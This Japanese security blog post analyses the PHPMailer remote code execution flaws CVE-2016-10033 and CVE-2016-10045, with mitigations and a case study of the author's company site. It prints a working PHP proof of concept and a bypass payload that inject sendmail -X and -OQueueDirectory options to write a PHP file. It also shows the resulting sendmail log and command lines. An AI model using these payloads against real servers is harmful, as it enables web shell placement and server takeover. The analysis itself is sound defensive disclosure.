エグゼクティブサマリ
PHPMailerにリモートスクリプト実行の脆弱性CVE-2016-10033が公表された。攻撃が成功した場合、ウェブシェルが設置され、ウェブサーバーが乗っ取られる等非常に危険であるが、攻撃成功には下記の条件が必要であることがわかったPHPMailer 5.2.17以前を使っている- Senderプロパティ(エンベロープFrom)を外部から設定できる
- 現在出回っているPoCはMTAとしてsendmailを想定しており、postfixを使っている環境では問題ない
はじめに
12月24日にPHPMalerの脆弱性CVE-2016-10033が公表され、とんだクリスマスプレゼントだと話題になっています。PHPからのメール送信に広く使われているライブラリの「PHPMailer」に重大な脆弱性が報告され、修正のためのパッチが12月24日付で公開された。悪用されれば任意のコードを実行される恐れも指摘され、米セキュリティ機関のSANS Internet Storm Centerは直ちにパッチを適用するよう呼び掛けている。「任意コードを実行される」なんて
「PHPMailer」に重大な脆弱性、直ちにパッチ適用をより引用
PoC
PoCは既に公表されているということと、現実のところ攻撃は難しいと考えられるため、この脆弱性のPoCを下記に示します。これを実行すると、/tmp/exploit.php として下記のファイルが生成されます。<?php
require("PHPMailer/class.phpmailer.php");
$to = 'tokumaru@example.jp'; // 自分のメールアドレスに変更して下さい
// Exploit
$from = '"a \" -OQueueDirectory=/tmp -X/tmp/exploit.php \"a"@example.jp';
$mail = new PHPMailer();
$mail->AddAddress($to);
$mail->Sender = $from;
$mail->Subject = 'CVE-2016-10033 PoC';
$mail->Body = '<?php phpinfo(); ?>'; // 実行コード
if(!$mail->send()) {
echo 'Mailer Error: ' . $mail->ErrorInfo . "\n";
} else {
echo "Message has been sent\n";
}
本文中のPHPスクリプトがログとして出力されていることがわかります。05284 <<< To: hiroshi2009@tokumaru.org
05284 <<< Subject: CVE-2016-10033 PoC
... 中略
05284 >>> X-Mailer: PHPMailer 5.2.17 (https://github.com/PHPMailer/PHPMailer)
05284 >>> MIME-Version: 1.0
05284 >>> Content-Type: text/plain; charset=iso-8859-1
05284 >>>
05284 >>> <?php phpinfo(); ?>
05284 >>>
05284 >>> .
05284 <<< 250 2.0.0 uBS1bgVM005294 Message accepted for delivery
05284 >>> QUIT
05284 <<< 221 2.0.0 localhost closing connection
実際の攻撃では、ドキュメントルート上にウェブシェルを設置する等の攻撃ができることになります。
なぜ攻撃が成立するか
PHPMailerのSenderプロパティは、メールの「エンベロープFrom」を設定するもので、受け取ったメールでは、Return-Pathヘッダとして設定されるものです。エンベロープFromについては、水無月ばけらさんの解説をお読み下さい。PHPMaierでは、メール送信に先立ち、Senderとして設定されたメールアドレスがRFC準拠かどうかを確認した後、下記の流れでmail関数の第5パラメータにセットされます。
この第5パラメータは、sendmailコマンドに引き渡すオプションパラメータを指定するもので、小邨孝明さんの解説によると、sendmailコマンドの呼び出し前に、escapeshellcmd同等のエスケープ処理が施されます。$params = sprintf('-f%s', $this->Sender);
... 色々な処理
$result = @mail($to, $subject, $body, $header, $params);
mb_send_mail関数(mail関数も同様)ですが、第5引数(additional_parameter)にユーザの入力を使用する場合は注意が必要です。mb_send_mail関数の第5引数は、内部でescapeshellcmd(内部関数名:php_escape_shell_cmd)によって引数の文字列全体がエスケープされます。そして、まさに『sendmailコマンドに任意のコマンドライン引数を渡されてしまう』ことが起こったわけです。
escapeshellcmd() は、以前に徳丸さんから OS コマンドインジェクションの防止には不適切であると指摘されています。ユーザの入力値を十分にチェックしておかないと、sendmailコマンドに任意のコマンドライン引数を渡されてしまうことになります。
mb_send_mail(),mail()で第5引数を設定する際の注意点より引用
攻撃に用いるメールアドレスについて
先のPoCで用いた攻撃用のメールアドレスは下記のものですが、これは、RFC5322等に適合しているため、PHPMailer内部のバリデーションを追加します。このあたりは@cakephperさんが詳しく解説されていますが、"a \" -OQueueDirectory=/tmp -X/tmp/exploit.php \"a"@example.jp
悲しいことに、PCREが入っているほうがPHPの対象範囲が広くなってしまいます・・・正規表現だとチェックをすりぬけ、filter_varだと弾かれると書いてありますが、これはおそらく、filter_varのメールアドレスチェックは、たとえクォートされていても空白を許さないからだと思います。このあたりは、こちらの記事で書いたことがあります。
PCREが入っておらず、PHP5.2以上の場合はPHPのfilter_var()でメールアドレスチェックが行われるため救われます。PCREの正規表現よりもfiter_var()を優先すれば良いのに・・・
PHPMailerのリモートコード実行脆弱性(CVE-2016-10033)の影響範囲より引用
さて、実は、先のメールアドレスをそのままsendmailに渡せば、メールアドレスのクォートがうまく働いて攻撃は成立しないのですが、mail関数内部でescapeshellcmd相当のエスケープ処理が入るため、実際のsendmail呼び出しは下記とになります。
sh -c /usr/sbin/sendmail -t -i -f"a \\" -OQueueDirectory=/tmp -X/tmp/exploit.php \\"a"@example.jp
-f"a \\"の部分に注目ください。escapeshellcmdがバックスラッシュのみをエスケープしたことが仇となって、実際にsendmailコマンドに渡される-fオプションは、「-fa \」までとなり、-Oパラメータや-Xパラメータがはみ出した状態になります。これが、OSコマンドパラメータインジェクションの原因です。PHPMailer 5.2.19での対応
対策版とされる PHPMailer 5.2.19 では、以下のようにSenderプロパティをescapeshellarg関数でエスケープしてからmail関数に渡されるようになりました。しかし、これはこれで不安ですね。その理由は、escapeshellarg関数の後、mail関数内部でescapeshllcmd相当のエスケープが行われるからです。二重にエスケープされるので予期しない動作になる可能性があります。あれ、これではまずい…$params = sprintf('-f%s', escapeshellarg($this->Sender));
と思って、届出をしていたところ、先に発表されていました。CVE-2016-10045が割り当てられています。PoCも公開されていますね。
先のPoCに対して、Senderのメールアドレスを以下のように変更するだけで、5.2.19への攻撃ができます。ダブルクォートをシングルクォートに変えるだけですね。
この場合、まず、escapeshellargの結果は下記となります。$from = '"a \' -OQueueDirectory=/tmp -X/tmp/exploit.php \"a"@example.jp';
そして、sendmailの呼び出しは下記となります。-f'"a '\'' -OQueueDirectory=/tmp -X/tmp/exploit.php \"a"@example.jp'
/usr/sbin/sendmail -t -i -f'\"a '\\'' -OQueueDirectory=/tmp -X/tmp/exploit.php \\"a"@example.jp\'
ややこしいですが、\がエスケープされて二重になっていますね。その結果、-fオプションが -f'\"a '\\''で切れてしまっています。この結果は、以下の3要素を連結したものとなっています。その結果、sendmailに実際に渡されるパラメータは、-f\"a \ です(''は空文字列ですので)。-f'\"a '
\\
''
結果として、-Oオプションや、-Xオプションがクォートの外にはみ出し、攻撃が成立しています。これは、escapeshellargとescapeshellcmdを両方していることの副作用ですので、安全なエスケープは難しそうです。
影響を受けるMTA
前述のように、現在公開されているPoCは、sendmailコマンドの-Xオプション(MTAのログを-Xで指定したファイルに出力する)を用いたものですが、postfixのsendmailラッパーでは-Xオプションは無効化されているため、攻撃の影響を受けません。私の気づいていない他の攻撃経路の可能性はありますが、さしあたり、sendmailをMTAとして使っている場合よりも、影響を受ける可能性は低いと考えられます。ケーススタディ HASHコンサルティングのウェブサイト
CVE-2016-10033の影響を受けるソフトウェアの一つにWordPressがあげられています。既報のように、弊社 HASHコンサルティング株式会社のオフィシャルウェブサイトは、2016/9/30にWordPressを用いてリプレースしており、Contact Form 7による問い合わせフォームがあります。Contact Form 7は、WordPressのwp_mailという関数を通じてPHPMailerを呼び出しており、WordPress 4.7(最新版)にバンドルされるPHPMailer は5.2.14という脆弱なバージョンです。つまり、ビンゴとなっているのですが、下記の2点から、弊社サイトは PHPMailerの影響を受けないと考えられます。
- エンベロープFrom(Senderプロパティ)は固定とになっていて外部から操作できない
- MTAとしてPostfixを使用している
対策
対策版として PHPMailer 5.2.19が公開されていますが、前述のようにこの対策はイマイチで、導入してもあまり安全性は変わりません。このため、回避策として以下を推奨いたします。
- Senderプロパティを設定しない、あるいは固定にする(強く推奨)
- MTAとしてsendmailを避け、postfixを使用する
- ドキュメントルート下のファイルやディレクトリをPHPスクリプトが動作するユーザから書き込み不可に設定する
- 改ざん検知の仕組みを導入する(緩和策)
まとめ
PHPMailerの脆弱性CVE-2016-10033とCVE-2016-10045について報告しました。現在公開されているPHPMailer 5.2.19の対策は不完全ですので、回避策の導入を推奨します。メールアドレスのような複雑なルールの仕様の場合、バリデーションを厳密にしていても重大な脆弱性が混入する可能性があるという点で興味深いと感じしました。また、小邨孝明さんの予言が的中した形となり、氏の先見の明には感服するばかりです。